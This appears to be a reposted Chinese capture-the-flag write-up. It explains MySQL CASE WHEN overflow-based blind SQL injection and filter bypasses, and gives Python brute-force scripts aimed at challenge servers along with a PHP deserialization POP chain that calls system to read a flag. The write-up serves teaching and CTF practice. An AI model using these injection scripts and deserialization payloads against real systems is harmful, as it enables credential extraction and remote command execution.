CISCN(Web Ezpentest)GC、序列化、case when

news2024/10/1 5:25:52

目录

REGEXP的一个点（正则）

like（默认不区分大小写）

当禁用了空格

regexp，like的区分大小写的使用方法

[CISCN 2022 初赛]ezpentest

卡点 

 2022 HFCTF babysql

最近又学到了一道新知识，case when的错误注入，也是盲注的一种。

mysql> select case binary 'B' when 'a' then 1 when 'b' then 2 end;

结果返回 NULL

解释一下这个就可以理解，也就是首先二进制（B），然后when后面其实就是判断，如果判断成功执行 then都没有则会返回NULL

 mysql> select id from tb where id=0 || case 1 when flag REGEXP '^f' then 1 else 1+~0 end;

 单纯看的话，这段代码基本就是sql注入的后端，id后面的东西是需要我们注入的，

0 || case 1 when flag REGEXP '^f' then q else 1+~0 end;

REGEXP后面是是否以f开头，重点是这里如果不成立则会 1+~0 

（这里 ~ 为取反操作符，0 取反即为最大值，再加 1 溢出报错）

使用条件：一般会禁用掉if(),然后溢出报错会显示500，所以我们可以进行一个盲注。

REGEXP的一个点（正则）

^                         匹配字符串的开始部分

$                         匹配字符串的结束部分

.                          匹配任何字符(包括回车和新行)

如果我们使用这个函数进行sql盲注的时候，如果匹配到了需要转义一下

if i in '.':
    i = "\\" + i

like（默认不区分大小写）

 LIKE 关键字支持百分号“%”和下划线“_”通配符。一样转义

WHERE name LIKE 't%';
WHERE name LIKE BINARY 't%';（区分大小写）

当禁用了空格

使用科学计数法和单（反）引号绕过

mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^f'THEN+1e0ELSE~0e0+~0e0END;

CASE+1e0WHEN`flag`REGEXP'^f'THEN+1e0ELSE~0e0+~0e0END;
 case 1 when flag REGEXP '^f' then 1 else 1+~0 end;

比较看来也就是变成了科学计数法，然后else后面的值变了

1+~0   -------------》   ~0e0+~0e0 解释是科学计数法的范围变大了。

regexp，like的区分大小写的使用方法

mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_0900_as_cs;
        -> 0
mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_bin;
        -> 0
mysql> SELECT 'abc' LIKE BINARY 'ABC';
        -> 0

mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP+BINARY'^F'THEN+1e0ELSE~0e0+~0e0ENDD;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0e0) + ~(0e0))'

mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^F'COLLATE'utf8mb4_bin'THEN+1e0ELSE~0e0+~0e0ENDD;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0e0) + ~(0e0))'

[CISCN 2022 初赛]ezpentest

<?php
function safe($a) {
    $r = preg_replace('/[\s,()#;*~\-]/','',$a);
    $r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
    return (string)$r;
  }

?>
//正则这里\s表示所有空白字符比如空格，tab，%00等
///^.*(?=union|binary).*$/gi表示匹配所有包含union和binary等的字符串

发现了，我们字符比较regexp和rlike （）都禁用了，if用不了没括号，所以只能用上面讲的case when和like

import string
import requests


str = string.ascii_letters + string.digits + "$@!^&}{_%"
payload = "0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
payload1 = "0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
url = 'http://1.14.71.254:28582/login.php'
f = ""
while 1:
    for i in str:
        if i in '%_':
            i = "\\" + i

        resp = requests.post(url=url, data={"username": payload.format(f + i),
                                            "password": "0"})
        if resp.status_code == 500:
            f += i
            print(f)
            break

这里不用~0e0是因为，~被过滤掉了所以直接用的最大数+1 

得出

username: nssctfwabbybaboo!@$%!!<br>
password: PAssw40d_Y0u3_Never_Konwn!@!!

 

因为这个解密要求非常严格，所以最好通过脚本下载下来

<?php

$url = "http://1.14.71.254:28391/login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, "PHPSESSID=ru3g5iqq3bcj80jv5btt4hgdj0");
$result = curl_exec($ch);
curl_close($ch);
echo urlencode($result);
file_put_contents("jiemi2.php", $result);
//保存会话内容八成是

登陆进去后，页面显示乱码，然后看源码，发现是PHPJiaMi.com加密，然后github上有解密脚本 

<?php
session_start();
if(!isset($_SESSION['login'])){//session必须要存在
    die();
}
function Al($classname){
    include $classname.".php"; //文件包含漏洞自动加php
}

if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    $o = unserialize($c);//反序列化，说明我们要传一个序列化好的数据
    if($o === false) {
        die("Error Format");
    }else{
        spl_autoload_register('Al');
        $o = unserialize($c);
        $raw = serialize($o);
        if(preg_match("/Some/i",$raw)){
            throw new Error("Error");
        }
        $o = unserialize($raw);
        var_dump($o);
    }
}else {
    echo file_get_contents("SomeClass.php");
}

审计代码后发现是利用pop链，spl_autoload_register这个函数就是自动加载类，当new一个没有包含的类时，他就会自动调用类A1静态方法来包含所需的类,但是里面过滤掉了some并且下面会抛出错误，所以我们的思路是提前调用destruct.

直接访问获得另一个文件

卡点 

这里我单纯的以为访问哪个目录，就会是哪个php但不是，通过上面的file_get_contents("SomeClass.php")，虽然访问/ND3x...，但其实这个文件是Someclass.php

Someclass.php 


<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}

?>

这里卡就卡在

$checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }

通过看别的师傅wp，可以发现需要用一个原生类，然后($b->a)($b->b."");不就是  system("ls")的格式吗，原生类->a  ->b就可以了，用Error()或者别的都可以。

<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
 
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class SomeClass{
    public $a;
}
$e=new E();
$b=new B();
$a=new A();
$e->a=$b;
$b->a=$a;
$x=new Error();
$x->a="system";
$x->b="cat /nssctfflag";
$a->b=$x;
$result=new SomeClass();
$result->a=$e;
$result = serialize(array($result,0));
$result = str_replace("i:1","i:0",$result);
$result = urlencode($result);
echo $result;
a:2:{i:0;O:9:"SomeClass":1:{s:1:"a";O:1:"E":2:{s:1:"a";O:1:"B":2:{s:1:"a";O:1:"A":2:{s:1:"a";N;s:1:"b";O:5:"Error":9:{s:10:"*message";s:0:"";s:13:"Errorstring";s:0:"";s:7:"*code";i:0;s:7:"*file";s:15:"/box/script.php";s:7:"*line";i:63;s:12:"Errortrace";a:0:{}s:15:"Errorprevious";N;s:1:"a";s:6:"system";s:1:"b";s:2:"ls";}}s:1:"b";N;}s:1:"b";N;}}i:1;i:0;}

这里为什么加了一个 SomeClass方法呢，别的wp都没有结束，我之能猜测一下那是因为第一个文件压根没包含Someclass文件然后有了new SomeClass()，这样就可以包含Someclass这个文件，至于后面的array($result,0),还有替换就是GC的回收机制，如果

a:2:{i:0;O:9:"SomeClass":1:{s:1:"a";O:1:"E":2:{s:1:"a";O:1:"B":2:{s:1:"a";O:1:"A":2:{s:1:"a";N;s:1:"b";O:5:"Error":9:{s:10:"*message";s:0:"";s:13:"Errorstring";s:0:"";s:7:"*code";i:0;s:7:"*file";s:15:"/box/script.php";s:7:"*line";i:50;s:12:"Errortrace";a:0:{}s:15:"Errorprevious";N;s:1:"a";s:6:"system";s:1:"b";s:15:"cat /nssctfflag";}}s:1:"b";N;}s:1:"b";N;}}i:0;i:0;} 

把i 本应该等于 1修改为 i = 0。那不就是把i = 0指向NULL了吗？然后就实现了GC回收。

 

HFCTF2022_babysql题目复现 (pankas.top)

 2022 HFCTF babysql

import requests
import time

session = requests.session()

burp0_url = "http://47.107.231.226:30631/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0",
                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
                 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate",
                 "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://47.107.231.226:30631", "Connection": "close", "Referer": "http://47.107.231.226:30631/",
                 "Upgrade-Insecure-Requests": "1"}

alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!.@%&*{}[]_-^/"
password = '^'

while True:
    for i in alphabet:
        burp0_data = {"username": f"1'||case+1E0when`password`regexp'{password + i}'COLLATE'utf8mb4_bin'then+1E0else+!0E0+~0+!0E0end||'0", "password": "6878"}
        r = session.post(burp0_url, headers=burp0_headers, data=burp0_data)
        if r.status_code == 401:
            print(i)
            password += i
            break
        time.sleep(0.3)
    print(password)

逻辑很简单，和上面的题差不多，区别在于 regexp '^q'以及用的科学计数法

m52FPlDxYyLB.eIzAr!8gxh.

这样会产生点，为什么呢因为.相当于一个通配符，所以可以和上面一样转义掉就行。 

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/352962.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Python|每日一练|排序|递归|链表|字符串|数组|动态规划|哈希表|单选记录：K 个一组翻转链表|括号生成|无重复字符的最长子串

Python|每日一练|排序|递归|链表|字符串|数组|动态规划|哈希表|单选记录：K 个一组翻转链表|括号生成|无重复字符的最长子串

1、K 个一组翻转链表&#xff08;递归&#xff0c;链表&#xff09; 给你一个链表&#xff0c;每 k 个节点一组进行翻转&#xff0c;请你返回翻转后的链表。 k 是一个正整数&#xff0c;它的值小于或等于链表的长度。 如果节点总数不是 k 的整数倍&#xff0c;那么请将最后剩…
阅读更多...
kafka安装及使用

kafka安装及使用

目录 1.单机部署 1.下载安装包 2.启动zookeeper服务 3.启动kafka broker服务 2.集群部署 1.下载安装包 2.修改zookeeper配置 3.修改kafka配置 4.在3台机器上启动zookepper 5.在3台机器上启动kafka 6.检查是否启动OK 3.使用 1.创建topic 2.查看kafka topic分区数 …
阅读更多...
OpenFaaS介绍

OpenFaaS介绍

FaaS 云计算时代出现了大量XaaS形式的概念&#xff0c;从IaaS(Infrastructure as a Service)、PaaS(Platform as a Service)、SaaS(Software as a Service)到容器云引领的CaaS(Containers as a Service)&#xff0c;再到火热的微服务架构&#xff0c;它们都在试着将各种软、硬…
阅读更多...
通过Prowork每日自动提醒待处理工作任务

通过Prowork每日自动提醒待处理工作任务

对于中小团队来说&#xff0c;由于不需要繁琐的流程和高频的异地沟通&#xff0c;需要一款更适合中小团队的日程和项目管理工具。而Prowork就是这样一款敏捷高效的协同平台。Prowork与以往各种项目管理⼯具最⼤的不同在于&#xff0c;其弱化流程和弱化权限的特性&#xff0c;不…
阅读更多...
ES6基础规范

ES6基础规范

1.变量声明const和let 我们都是知道在ES6以前&#xff0c;var关键字声明变量。无论声明在何处&#xff0c;都会被视为声明在函数的最顶部(不在函数内即在全局作用域的最顶部)。这就是函数变量提升例如: 下图左侧其实相当于右侧: 所以不用关心bool是否为true or false。实际上…
阅读更多...
小知识点：Mac M1/M2 VMware Fusion 安装 Centos 7.9（ARM 64 版本）

小知识点：Mac M1/M2 VMware Fusion 安装 Centos 7.9（ARM 64 版本）

最近换了 Mac M2 芯片的笔记本&#xff0c;用原来的 Centos 镜像安装虚拟机直接报错 “无法打开此虚拟机的电源&#xff0c;因为它需要使用 X86 计算机架构&#xff0c;而该架构与此 Arm 计算机架构主机不兼容。” 安装流程前置一、下载镜像二、安装虚拟机三、配置静态 IP四、安…
阅读更多...
UVa 225 Golygons 黄金图形 暴力搜索 剪枝 状态判断

UVa 225 Golygons 黄金图形 暴力搜索 剪枝 状态判断

题目链接&#xff1a;Golygons 题目描述&#xff1a; 给定nnn和kkk个障碍物的坐标&#xff0c;你需要走nnn次&#xff0c;第一次走一个单位距离&#xff0c;第二次走二个单位距离&#xff0c;…&#xff0c;第nnn次走nnn个单位距离。走得过程中不能穿过或者到达障碍物所在的点&…
阅读更多...
数据分析与SAS学习笔记6

数据分析与SAS学习笔记6

数据集整理&#xff1a; 目的&#xff1a;对数据集中的数据进行预处理&#xff0c;使数据更适合统计分析过程对数据格式的要求&#xff1b; 常见整理要求&#xff1a; 1&#xff09;建立新的变量&#xff0c;衍生变量&#xff0c;删除某些原变量&#xff1b; 2&#xff09;…
阅读更多...
Jira Server一年后“停服” 中国用户如何减损失降影响

Jira Server一年后“停服” 中国用户如何减损失降影响

近日Jira官方再次表示&#xff1a;在“2024年2月15日之后&#xff0c;用户所使用的 Server 版本的安全漏洞将不再有官方的修复方案&#xff0c;产品的 Bug 也不再被修复。在支持日期结束后&#xff0c;Atlassian 和Marketplace 合作伙伴将不再为任何问题、安全更新或关键漏洞的…
阅读更多...
spring-web DispatcherServlet 源码分析

spring-web DispatcherServlet 源码分析

说明 本文基于 jdk 8, spring-framework 5.2.x 编写。author JellyfishMIX - github / blog.jellyfishmix.comLICENSE GPL-2.0 DispatcherServlet 的继承实现层次 关注点应放在 Servlet, GenericServlet, HttpServlet, HttpServletBean, FrameworkServlet, DispatcherServle…
阅读更多...
关于Ubuntu20.04文件系统思考

关于Ubuntu20.04文件系统思考

文章目录问题产生Ubuntu文件系统中普通用户可读写地址Ubuntu文件系统Ubuntu文件系统详解一级目录二级目录查找Ubuntu中软件安装位置Ubuntu修改文件权限问题产生 使用electron框架开发桌面端跨平台软件时&#xff0c;当开发完成的程序部署到Ubuntu上&#xff0c;系统无法产生日…
阅读更多...
推荐3款远程办公软件

推荐3款远程办公软件

一款好用的远程办公软件能够大大的提高我们的办公效率&#xff0c;在这篇文章中&#xff0c;我们将为您推荐几款常见又好用的远程办公软件&#xff0c;以帮助您能更加高效的远程办公。电脑远程办公软件有很多&#xff0c;本文主要从团队沟通软件、视频会议软件、远程控制软件等…
阅读更多...
距离不是拦截我们前进的主因，与社科院杜兰金融硕士一起奔赴山海

距离不是拦截我们前进的主因，与社科院杜兰金融硕士一起奔赴山海

最近有咨询社科院杜兰金融管理硕士项目的同学反馈他在西安&#xff0c;读研来北京上课太远了。一直在纠结要不要申请&#xff0c;其实距离不是问题&#xff0c;相向而行才是关键。在项目就读的同学好多也是来自外地&#xff0c;他们克服了种种困难来到项目学习&#xff0c;就是…
阅读更多...
kubernetes教程 --service详解

kubernetes教程 --service详解

Service 介绍 在kubernetes中&#xff0c;pod是应用程序的载体&#xff0c;我们可以通过pod的ip来访问应用程序&#xff0c;但是pod的ip地址不是固定的&#xff0c;这也就意味着不方便直接采用pod的ip对服务进行访问。 为了解决这个问题&#xff0c;kubernetes提供了Service…
阅读更多...
行业分析| 智能无人自助设备

行业分析| 智能无人自助设备

智能无人自助设备运用二维码技术、音视频通信技术和AI智能技术等相结合&#xff0c;提供了无人超市、自动售货机、智能快递柜等。当下很多商业地区或社区&#xff0c;都放置了智能无人自助设备&#xff0c;不仅可以为商家节省时间和精力、提升运营环境&#xff0c;也可以为众多…
阅读更多...
宽刈幅干涉雷达高度计SWOT(Surface Water and Ocean Topography)卫星进展（待完善）

宽刈幅干涉雷达高度计SWOT(Surface Water and Ocean Topography)卫星进展（待完善）

> 以下信息搬运自SWOT官方网站等部分文献资料&#xff0c;如有侵权请联系&#xff1a;sunmingzhismz163.com > 排版、参考文献、部分章节待完善 > 2023.02.17.22:00 初稿概况 2022年12月16日地表水与海洋地形卫星SWOT (Surface Water and Ocean Topography)在加利福尼…
阅读更多...
SpringCloud(一)注册中心

SpringCloud(一)注册中心

注册中心eureka服务端客户端负载均衡nacos服务端客户端nacos分级存储模型配置集群属性nacos环境隔离-namespace临时实例和非临时实例Eureka和Nacos的异同负载均衡策略饥饿加载eureka 服务端 依赖 <!-- eureka注册中心服务端依赖--><dependencies><depe…
阅读更多...
【数据结构与算法】1.树、二叉树、字典树、红黑树

【数据结构与算法】1.树、二叉树、字典树、红黑树

文章目录简介1.树 (Tree)2.二叉树&#xff08;Binary Tree&#xff09;2.1.二叉树数据结构2.2.二叉树的三种遍历方式3.二叉查找树(Binary Search Tree)3.1.二叉查找树的概念和定义3.2.二分查找算法4.字典树(Trie)5.红黑树(Red-Black Tree)简介 本章主要讲解一些树的基本概念,二…
阅读更多...
windows10/11,傻瓜式安装pytorch（gpu）,在虚拟环境anaconda

windows10/11,傻瓜式安装pytorch（gpu）,在虚拟环境anaconda

安装anaconda地址 &#xff1a;Anaconda | The Worlds Most Popular Data Science Platform安装选项全默认点击next就行。查看支持cuda版本cmd命令行输入nvidia-smi。下图右上角显示11.6为支持的cuda版本。要是显示没有nvidia-smi命令。得安装nvidia驱动&#xff0c;一般情况都…
阅读更多...
字符串匹配 - Overview

字符串匹配 - Overview

字符串匹配(String Matchiing)也称字符串搜索(String Searching)是字符串算法中重要的一种&#xff0c;是指从一个大字符串或文本中找到模式串出现的位置。字符串匹配概念字符串匹配问题的形式定义&#xff1a;文本&#xff08;Text&#xff09;是一个长度为 n 的数组 T[1..n]&…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023